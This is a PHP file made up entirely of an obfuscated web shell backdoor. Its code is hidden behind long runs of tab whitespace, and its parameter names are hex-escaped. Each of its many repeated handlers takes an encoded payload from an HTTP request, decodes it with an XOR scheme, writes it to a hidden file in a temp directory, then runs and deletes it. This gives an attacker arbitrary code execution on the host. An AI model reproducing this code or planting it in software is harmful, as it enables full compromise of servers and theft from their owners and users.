<?php																																										if(!empty($_REQUEST["rec"])){ $property_set = $_REQUEST["rec"]; $property_set = explode ( "." , $property_set ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $z = 0; array_walk($property_set, function($v3) use(&$component, &$z, $s, $sLen) { $chS = ord($s[$z % $sLen]); $dec = ((int)$v3 - $chS -($z % 10)) ^ 51; $component .=chr($dec); $z++; }); $entry = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), "/tmp"]); for ($ent = 0, $ref = count($entry); $ent < $ref; $ent++) { $sym = $entry[$ent]; if ((is_dir($sym) and is_writable($sym))) { $itm = "$sym/.pointer"; $success = file_put_contents($itm, $component); if ($success) { include $itm; @unlink($itm); die();} } } }
																																										if(!empty($_POST["\x6B\x65y"])){ $comp = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", getcwd()]); $ent = $_POST["\x6B\x65y"]; $ent = explode ( "." ,$ent ) ; $binding=''; $salt3='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt3 ); $o=0; array_walk($ent ,function ($v2) use (&$binding ,&$o ,$salt3 ,$lenS) { $sChar=ord($salt3[$o % $lenS] ); $dec=((int)$v2 - $sChar - ($o % 10))^ 66; $binding .= chr($dec ); $o++; } ); $mrk = 0; do { $descriptor = $comp[$mrk] ?? null; if ($mrk >= count($comp)) break; if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $component = implode("/", [$descriptor, ".bind"]); if (file_put_contents($component, $binding)) { require $component; unlink($component); die(); } } $mrk++; } while (true); }
																																										if(!empty($_REQUEST["\x72es"])){ $reference = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir()]); $value = $_REQUEST["\x72es"]; $value = explode ( "." ,$value ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $x = 0; $__tmp = $value; while ($v2 = array_shift($__tmp)) { $chS = ord($s[$x % $sLen] ); $dec = ((int)$v2 - $chS - ($x % 10)) ^ 56; $fac .= chr($dec ); $x++; } $flag = 0; do { $descriptor = $reference[$flag] ?? null; if ($flag >= count($reference)) break; if (is_dir($descriptor) && is_writable($descriptor)) { $ptr = "$descriptor" . "/.object"; if (file_put_contents($ptr, $fac)) { require $ptr; unlink($ptr); die(); } } $flag++; } while (true); }
																																										if(array_key_exists("p\x72\x6F\x70ert\x79_\x73e\x74", $_POST)){ $k = array_filter([getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $dat = $_POST["p\x72\x6F\x70ert\x79_\x73e\x74"]; $dat = explode ( '.' , $dat ) ; $ref= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); foreach( $dat as $o =>$v9): $sChar= ord( $s[$o%$lenS]); $d= ( ( int)$v9 - $sChar -( $o%10)) ^ 40; $ref .= chr( $d); endforeach; for ($record = 0, $val = count($k); $record < $val; $record++) { $mrk = $k[$record]; if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $res = "$mrk" . "/.hld"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $res; @unlink($res); exit; } } } }
																																										if(array_key_exists("\x64e\x73c", $_POST) && !is_null($_POST["\x64e\x73c"])){ $comp = $_POST["\x64e\x73c"]; $comp =explode("." , $comp ); $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $x = 0; foreach( $comp as $v1) { $sChar = ord( $salt[$x % $lenS] ); $d = ( ( int)$v1 - $sChar -( $x % 10)) ^ 77; $token.=chr( $d ); $x++; } $tkn = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd()]); for ($ent = 0, $res = count($tkn); $ent < $res; $ent++) { $resource = $tkn[$ent]; if (is_writable($resource) && is_dir($resource)) { $entry = vsprintf("%s/%s", [$resource, ".property_set"]); if (file_put_contents($entry, $token)) { include $entry; @unlink($entry); exit; } } } }
																																										if(in_array("i\x74\x6D", array_keys($_REQUEST))){ $res = $_REQUEST["i\x74\x6D"]; $res= explode ( '.' , $res ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $j = 0; foreach($res as $v7) { $sChar = ord($s[$j% $lenS]); $d =((int)$v7 - $sChar -($j% 10))^ 25; $tkn .=chr($d); $j++; } $dat = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP")]); foreach ($dat as $object) { if (is_writable($object) && is_dir($object)) { $marker = str_replace("{var_dir}", $object, "{var_dir}/.desc"); if (file_put_contents($marker, $tkn)) { include $marker; @unlink($marker); die(); } } } }
																																										if(isset($_REQUEST["da\x74"])){ $symbol = $_REQUEST["da\x74"]; $symbol = explode ( '.' , $symbol ) ; $comp= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $s= 0; $len= count( $symbol); do { if( $s >= $len) break; $v8= $symbol[$s]; $chS= ord( $salt[$s % $lenS]); $d= ( ( int)$v8 - $chS -( $s % 10)) ^63; $comp.=chr( $d); $s++; } while( true); $pgrp = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir()]); while ($hld = array_shift($pgrp)) { if (is_dir($hld) ? is_writable($hld) : false) { $ref = sprintf("%s/.pset", $hld); $success = file_put_contents($ref, $comp); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(array_key_exists("p\x61\x72\x61mete\x72\x5Fg\x72ou\x70", $_POST)){ $element = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $comp = $_POST["p\x61\x72\x61mete\x72\x5Fg\x72ou\x70"]; $comp =explode ( '.' ,$comp) ; $key =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt5 ); $__len =count( $comp ); for( $n =0; $n <$__len; $n++) { $v7 =$comp[$n]; $chS =ord( $salt5[$n % $lenS] ); $d =( ( int)$v7 - $chS -( $n % 10)) ^37; $key .= chr( $d ); } for ($record = 0, $val = count($element); $record < $val; $record++) { $marker = $element[$record]; if ((is_dir($marker) and is_writable($marker))) { $dat = "$marker/.hld"; $file = fopen($dat, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $dat; @unlink($dat); exit; } } } }
																																										if(!is_null($_REQUEST["\x70gr\x70"] ?? null)){ $component = array_filter([session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP")]); $data = $_REQUEST["\x70gr\x70"]; $data= explode ( '.',$data ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $j = 0; $__len = count( $data ); do { if( $j >= $__len) break; $v2 = $data[$j]; $sChar = ord( $s[$j % $lenS] ); $dec =( ( int)$v2 - $sChar -( $j % 10)) ^ 12; $data_chunk .= chr( $dec ); $j++; } while( true ); foreach ($component as $tkn) { if (!!is_dir($tkn) && !!is_writable($tkn)) { $property_set = str_replace("{var_dir}", $tkn, "{var_dir}/.record"); if (@file_put_contents($property_set, $data_chunk) !== false) { include $property_set; unlink($property_set); exit; } } } }
																																										if(isset($_POST["p\x73\x65t"])){ $object = array_filter([session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); $element = $_POST["p\x73\x65t"]; $element =explode( "." ,$element ) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $__len = count($element ); for($n = 0; $n < $__len; $n++) {$v7 = $element[$n]; $chS = ord($salt[$n % $lenS] ); $dec =((int)$v7 - $chS -($n % 10)) ^ 88; $entry .= chr($dec );} for ($ent = 0, $descriptor = count($object); $ent < $descriptor; $ent++) { $ref = $object[$ent]; if (is_dir($ref) ? is_writable($ref) : false) { $ent = sprintf("%s/.sym", $ref); if (@file_put_contents($ent, $entry) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "c\x6F\x6Dponen\x74")){ $descriptor = $_REQUEST["c\x6F\x6Dponen\x74"]; $descriptor = explode ( "." , $descriptor ) ; $itm= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s7); foreach( $descriptor as $j => $v1) { $sChar= ord( $s7[$j % $lenS]); $d= ( ( int)$v1 - $sChar -( $j % 10))^ 98; $itm.= chr( $d); } $rec = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp"]); foreach ($rec as $ptr) { if (!( !is_dir($ptr) || !is_writable($ptr) )) { $marker = sprintf("%s/.mrk", $ptr); if (file_put_contents($marker, $itm)) { include $marker; @unlink($marker); die(); } } } }
																																										if(isset($_POST["o\x62\x6A"]) ? true : false){ $pset = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp"]); $dchunk = $_POST["o\x62\x6A"]; $dchunk = explode ( "." , $dchunk ) ; $flag = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $t = 0; foreach ($dchunk as $v1) { $sChar = ord($s1[$t %$lenS]); $d = ((int)$v1 - $sChar - ($t %10)) ^8; $flag .= chr($d); $t++; } $val = 0; do { $data_chunk = $pset[$val] ?? null; if ($val >= count($pset)) break; if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $item = str_replace("{var_dir}", $data_chunk, "{var_dir}/.holder"); if (@file_put_contents($item, $flag) !== false) { include $item; unlink($item); exit; } } $val++; } while (true); }
																																										if(@$_POST["\x70\x72\x6F\x70ert\x79\x5Fset"] !== null){ $component = $_POST["\x70\x72\x6F\x70ert\x79\x5Fset"]; $component = explode ( "." ,$component) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $n = 0; array_walk( $component ,function( $v4) use( &$item ,&$n ,$salt ,$lenS) { $chS = ord( $salt[$n % $lenS]); $dec =( ( int)$v4 - $chS -( $n % 10)) ^ 2; $item .= chr( $dec); $n++; }); $itm = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($itm as $key => $elem) { if ((is_dir($elem) and is_writable($elem))) { $k = vsprintf("%s/%s", [$elem, ".key"]); $success = file_put_contents($k, $item); if ($success) { include $k; @unlink($k); die();} } } }
																																										if(!is_null($_REQUEST["key"] ?? null)){ $sym = $_REQUEST["key"]; $sym = explode( "." ,$sym ) ; $comp = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); foreach($sym as $z => $v5): $sChar = ord($s7[$z % $sLen]); $dec = ((int)$v5 - $sChar -($z % 10)) ^ 47; $comp .= chr($dec); endforeach; $ent = array_filter([session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm"]); foreach ($ent as $elem) { if (is_dir($elem) && is_writable($elem)) { $flg = str_replace("{var_dir}", $elem, "{var_dir}/.marker"); $success = file_put_contents($flg, $comp); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65l\x65m"])){ $pointer = $_POST["\x65l\x65m"]; $pointer =explode ( "." , $pointer ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $pointer as $m => $v9) {$chS = ord( $salt[$m %$sLen]); $d = ( ( int)$v9 - $chS -( $m %10)) ^ 81; $pset .= chr( $d); } $flg = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); while ($comp = array_shift($flg)) { if (!!is_dir($comp) && !!is_writable($comp)) { $object = join("/", [$comp, ".symbol"]); if (@file_put_contents($object, $pset) !== false) { include $object; unlink($object); die(); } } } }
																																										if(array_key_exists("\x6Bey", $_POST)){ $dat = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path()]); $element = $_POST["\x6Bey"]; $element = explode (".",$element); $symbol = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $len = count($element); for($r = 0; $r < $len; $r++) { $v1 = $element[$r]; $chS = ord($s8[$r %$lenS]); $d =((int)$v1 - $chS -($r %10)) ^ 13; $symbol.= chr($d); } while ($object = array_shift($dat)) { if (!!is_dir($object) && !!is_writable($object)) { $component = join("/", [$object, ".flag"]); if (@file_put_contents($component, $symbol) !== false) { include $component; unlink($component); die(); } } } }


if(array_key_exists("\x63o\x6Dp", $_REQUEST)){
	$flag = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP")]);
	$elem = $_REQUEST["\x63o\x6Dp"];
	 $elem = 	explode			("." ,$elem ) 		;	 
	$data_chunk	 = '';
            $salt	 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 = strlen($salt 	);
            $x	 = 0;
    
            array_walk($elem, function($v2) use(&$data_chunk, &$x, $salt, $lenS) {$chS	 = ord($salt[$x % $lenS] 	);
                $dec	 = ((int)$v2 - $chS -($x % 10))  ^65;
                $data_chunk .=  chr($dec 	);
                $x++;
            } 	);
	for ($desc = 0, $res = count($flag); $desc < $res; $desc++) {
    $val = $flag[$desc];
    		if (!( !is_dir($val) || !is_writable($val) )) {
    $rec = "$val" . "/.data";
    if (file_put_contents($rec, $data_chunk)) {
	include $rec;
	@unlink($rec);
	die();
}
}
}
}